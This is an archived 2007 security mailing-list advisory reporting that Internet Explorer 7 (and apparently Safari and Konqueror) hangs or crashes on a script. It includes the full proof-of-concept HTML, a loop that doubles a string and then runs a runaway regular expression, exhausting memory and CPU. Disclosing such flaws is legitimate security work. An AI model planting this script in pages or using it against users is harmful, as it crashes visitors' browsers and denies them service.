Internet Explorer Crash
- From: "J. Oquendo" <sil@xxxxxxxxxxxxxxx>
- Date: Tue, 17 Apr 2007 13:09:13 -0400
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Product: Internet Explorer Version 7.0.5730.11
Impact: Browser crash possibly more
Author: Jesus Oquendo
echo @infiltrated|sed 's/^/sil/g;s/$/.net/g'
I. BACKGROUND
Why bother? Who doesn't know what Internet Explorer and Microsoft are.
II. DESCRIPTION
IE 7 is vulnerable to a script which causes the browser to hang. The
memory and CPU usage go through the roof. Originally the script caused
(and still causes) Safari and Konqueror to crash.
III SOLUTION
Stop using Microsoft products or deal with a new advisory every other
day.
IV. Proof
http://www.infiltrated.net/stupidInternetExploder.html
V. Code
$ more /stupidInternetExploder.html
<script>
var reg = /(.)*/;
var z = 'Z';
while (z.length <= 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999) z+=z;
var boum = reg.exec(z);
</script>
Goodbye
J. Oquendo
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x1383A743
sil . infiltrated @ net http://www.infiltrated.net
The happiness of society is the end of government.
John Adams
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (FreeBSD)
iD8DBQFGJQGJh3J3NhODp0MRArt5AKCVI+A0rHdYMOz9KYIbCxFkMN8QcgCbBBBC
TCV7FOqA05H8sSDb0r8nSnk=
=J/DW
-----END PGP SIGNATURE-----
Attachment:
smime.p7s
Description: S/MIME Cryptographic Signature
- Follow-Ups:
- Re: Internet Explorer Crash
- From: The Anarcat
- Re: Internet Explorer Crash
- Prev by Date: Re: bloofoxCMS 0.2.2 Remote File Include Vulnerabilitiy
- Next by Date: [security bulletin] HPSBTU02207 SSRT061213, SSRT061239, SSRT071304 rev.1 - HP Tru64 UNIX SSL and BIND Remote Arbitrary Code Execution or Denial of Service (DoS)
- Previous by thread: webMethods Security Advisory: Glue console directory traversal vu lnerability
- Next by thread: Re: Internet Explorer Crash
- Index(es):
Relevant Pages
|
